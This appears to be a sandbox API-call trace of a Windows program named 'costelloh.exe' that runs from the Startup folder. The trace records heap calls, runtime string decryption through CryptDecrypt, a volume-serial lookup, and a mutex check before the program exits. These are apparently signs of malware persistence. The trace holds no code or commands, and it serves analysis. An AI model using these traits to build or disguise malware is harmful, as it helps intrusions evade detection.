	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.737] GetLastError () returned 0x0
	[0206.737] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.738] SetLastError (dwErrCode=0x0) 
	[0206.738] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.739] GetLastError () returned 0x0
	[0206.739] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.740] SetLastError (dwErrCode=0x0) 
	[0206.740] GetLastError () returned 0x0
	[0206.741] SetLastError (dwErrCode=0x0) 
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x98) returned 0x2c017e8
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x1f) returned 0x2c01888
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x28) returned 0x2c018b0
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x37) returned 0x2c018e0
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x3c) returned 0x2c01920
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x31) returned 0x2c01968
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x14) returned 0x2c019a8
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x24) returned 0x2c019c8
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0xd) returned 0x2c019f8
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x17) returned 0x2c01a10
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x2b) returned 0x2c01a30
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x15) returned 0x2c01a68
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x17) returned 0x2c01a88
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x22) returned 0x2c01aa8
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0xe) returned 0x2c01ad8
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0xc2) returned 0x2c01af0
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x3e) returned 0x2c01bc0
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x1b) returned 0x2c01c08
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x1d) returned 0x2c01c30
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x48) returned 0x2c01c58
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x12) returned 0x2c01ca8
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x18) returned 0x2c01cc8
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x1b) returned 0x2c01ce8
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x24) returned 0x2c01d10
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x29) returned 0x2c01d40
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x1e) returned 0x2c01d78
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x6b) returned 0x2c01da0
	[0206.741] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x17) returned 0x2c01e18
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x14) returned 0x2c01e38
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0xf) returned 0x2c01e58
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x16) returned 0x2c01e70
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x28) returned 0x2c01e90
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x27) returned 0x2c01ec0
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x12) returned 0x2c01ef0
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x21) returned 0x2c01f10
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x10) returned 0x2c01f40
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x1c) returned 0x2c01f58
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x12) returned 0x2c01f80
	[0206.742] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c00fd0 | out: hHeap=0x2c00000) returned 1
	[0206.742] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0206.742] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x80) returned 0x2c00fd0
	[0206.742] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x9b8136) returned 0x0
	[0206.743] RtlSizeHeap (HeapHandle=0x2c00000, Flags=0x0, MemoryPointer=0x2c00fd0) returned 0x80
	[0206.743] GetLastError () returned 0x0
	[0206.743] SetLastError (dwErrCode=0x0) 
	[0206.743] GetLastError () returned 0x0
	[0206.743] SetLastError (dwErrCode=0x0) 
	[0206.743] GetLastError () returned 0x0
	[0206.743] SetLastError (dwErrCode=0x0) 
	[0206.743] GetLastError () returned 0x0
	[0206.743] SetLastError (dwErrCode=0x0) 
	[0206.743] GetLastError () returned 0x0
	[0206.743] SetLastError (dwErrCode=0x0) 
	[0206.743] GetLastError () returned 0x0
	[0206.743] SetLastError (dwErrCode=0x0) 
	[0206.743] GetLastError () returned 0x0
	[0206.743] SetLastError (dwErrCode=0x0) 
	[0206.743] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.744] SetLastError (dwErrCode=0x0) 
	[0206.744] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.745] SetLastError (dwErrCode=0x0) 
	[0206.745] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.746] SetLastError (dwErrCode=0x0) 
	[0206.746] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.747] SetLastError (dwErrCode=0x0) 
	[0206.747] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.748] SetLastError (dwErrCode=0x0) 
	[0206.748] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] GetLastError () returned 0x0
	[0206.749] SetLastError (dwErrCode=0x0) 
	[0206.749] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x30) returned 0x2c01fa0
	[0206.749] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x3300) returned 0x2c01fd8
	[0206.750] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x15c) returned 0x2c01058
	[0206.750] GetTickCount () returned 0x1cc15
	[0206.750] GetLastError () returned 0x0
	[0206.750] SetLastError (dwErrCode=0x0) 
	[0206.750] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0xd5fb08, cchData=32 | out: lpLCData="\x03") returned 16
	[0206.751] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x1c) returned 0x2c011c0
	[0206.751] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x1c) returned 0x2c011e8
	[0206.751] GetVersion () returned 0x23f00206
	[0206.751] GetCurrentProcess () returned 0xffffffff
	[0206.751] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xd5fa6c | out: TokenHandle=0xd5fa6c*=0x1ec) returned 1
	[0206.751] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0xd5fa64, TokenInformationLength=0x4, ReturnLength=0xd5fa68 | out: TokenInformation=0xd5fa64, ReturnLength=0xd5fa68) returned 1
	[0206.751] CloseHandle (hObject=0x1ec) returned 1
	[0206.751] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x20) returned 0x2c01210
	[0206.751] CryptAcquireContextW (in: phProv=0x9bfcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x9bfcf0*=0x1026868) returned 1
	[0206.872] CryptImportKey (in: hProv=0x1026868, pbData=0xd5f960, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd5f9c8 | out: phKey=0xd5f9c8*=0x1038fe0) returned 1
	[0206.872] CryptSetKeyParam (hKey=0x1038fe0, dwParam=0x1, pbData=0xd5f9b0, dwFlags=0x0) returned 1
	[0206.872] CryptDecrypt (in: hKey=0x1038fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c01210, pdwDataLen=0xd5f97c | out: pbData=0x2c01210, pdwDataLen=0xd5f97c) returned 1
	[0206.872] CryptDestroyKey (hKey=0x1038fe0) returned 1
	[0206.872] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x1e) returned 0x2c01238
	[0206.872] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x1e) returned 0x2c01260
	[0206.872] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x90) returned 0x2c01288
	[0206.872] CryptImportKey (in: hProv=0x1026868, pbData=0xd5f938, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd5f9a0 | out: phKey=0xd5f9a0*=0x1039460) returned 1
	[0206.872] CryptSetKeyParam (hKey=0x1039460, dwParam=0x1, pbData=0xd5f988, dwFlags=0x0) returned 1
	[0206.872] CryptDecrypt (in: hKey=0x1039460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c01288, pdwDataLen=0xd5f954 | out: pbData=0x2c01288, pdwDataLen=0xd5f954) returned 1
	[0206.872] CryptDestroyKey (hKey=0x1039460) returned 1
	[0206.872] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01288 | out: hHeap=0x2c00000) returned 1
	[0206.872] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2c01238, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0206.873] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01260 | out: hHeap=0x2c00000) returned 1
	[0206.873] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01210 | out: hHeap=0x2c00000) returned 1
	[0206.873] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd5fa08, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd5fa08*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0206.873] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01238 | out: hHeap=0x2c00000) returned 1
	[0206.873] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x40) returned 0x2c01210
	[0206.873] CryptImportKey (in: hProv=0x1026868, pbData=0xd5f994, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd5f9fc | out: phKey=0xd5f9fc*=0x1039320) returned 1
	[0206.873] CryptSetKeyParam (hKey=0x1039320, dwParam=0x1, pbData=0xd5f9e4, dwFlags=0x0) returned 1
	[0206.873] CryptDecrypt (in: hKey=0x1039320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c01210, pdwDataLen=0xd5f9b0 | out: pbData=0x2c01210, pdwDataLen=0xd5f9b0) returned 1
	[0206.873] CryptDestroyKey (hKey=0x1039320) returned 1
	[0206.873] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x34) returned 0x2c01258
	[0206.873] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0206.873] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0
	[0206.873] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0206.873] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01210 | out: hHeap=0x2c00000) returned 1
	[0206.873] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01258 | out: hHeap=0x2c00000) returned 1
	[0206.873] ReleaseMutex (hMutex=0x1f0) returned 1
	[0206.873] CloseHandle (hObject=0x1f0) returned 1
	[0206.873] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x20) returned 0x2c01210
	[0206.873] CryptImportKey (in: hProv=0x1026868, pbData=0xd5f974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd5f9dc | out: phKey=0xd5f9dc*=0x1039320) returned 1
	[0206.873] CryptSetKeyParam (hKey=0x1039320, dwParam=0x1, pbData=0xd5f9c4, dwFlags=0x0) returned 1
	[0206.873] CryptDecrypt (in: hKey=0x1039320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c01210, pdwDataLen=0xd5f990 | out: pbData=0x2c01210, pdwDataLen=0xd5f990) returned 1
	[0206.873] CryptDestroyKey (hKey=0x1039320) returned 1
	[0206.873] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x1e) returned 0x2c01238
	[0206.873] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x1e) returned 0x2c01260
	[0206.873] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x90) returned 0x2c01288
	[0206.874] CryptImportKey (in: hProv=0x1026868, pbData=0xd5f94c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd5f9b4 | out: phKey=0xd5f9b4*=0x1038fa0) returned 1
	[0206.874] CryptSetKeyParam (hKey=0x1038fa0, dwParam=0x1, pbData=0xd5f99c, dwFlags=0x0) returned 1
	[0206.874] CryptDecrypt (in: hKey=0x1038fa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c01288, pdwDataLen=0xd5f968 | out: pbData=0x2c01288, pdwDataLen=0xd5f968) returned 1
	[0206.874] CryptDestroyKey (hKey=0x1038fa0) returned 1
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01288 | out: hHeap=0x2c00000) returned 1
	[0206.874] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2c01238, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01260 | out: hHeap=0x2c00000) returned 1
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01210 | out: hHeap=0x2c00000) returned 1
	[0206.874] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd5fa1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd5fa1c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01238 | out: hHeap=0x2c00000) returned 1
	[0206.874] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x40) returned 0x2c01210
	[0206.874] CryptImportKey (in: hProv=0x1026868, pbData=0xd5f9a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd5fa10 | out: phKey=0xd5fa10*=0x10395a0) returned 1
	[0206.874] CryptSetKeyParam (hKey=0x10395a0, dwParam=0x1, pbData=0xd5f9f8, dwFlags=0x0) returned 1
	[0206.874] CryptDecrypt (in: hKey=0x10395a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c01210, pdwDataLen=0xd5f9c4 | out: pbData=0x2c01210, pdwDataLen=0xd5f9c4) returned 1
	[0206.874] CryptDestroyKey (hKey=0x10395a0) returned 1
	[0206.874] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x34) returned 0x2c01258
	[0206.874] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x1f0
	[0206.874] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0206.874] CloseHandle (hObject=0x1f0) returned 1
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01210 | out: hHeap=0x2c00000) returned 1
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01258 | out: hHeap=0x2c00000) returned 1
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c011c0 | out: hHeap=0x2c00000) returned 1
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c011e8 | out: hHeap=0x2c00000) returned 1
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01058 | out: hHeap=0x2c00000) returned 1
	[0206.874] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01fd8 | out: hHeap=0x2c00000) returned 1
	[0206.875] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c01fa0 | out: hHeap=0x2c00000) returned 1
	[0206.875] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0
	[0206.875] ExitProcess (uExitCode=0x0) 
	[0206.875] HeapFree (in: hHeap=0x2c00000, dwFlags=0x0, lpMem=0x2c005a8 | out: hHeap=0x2c00000) returned 1

Thread:
	id = 48
	os_tid = 0x7b0


Process:
	id = "11"
	image_name = "costelloh.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"
	page_root = "0x2598f000"
	os_pid = "0xb60"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 50
	os_tid = 0xbdc

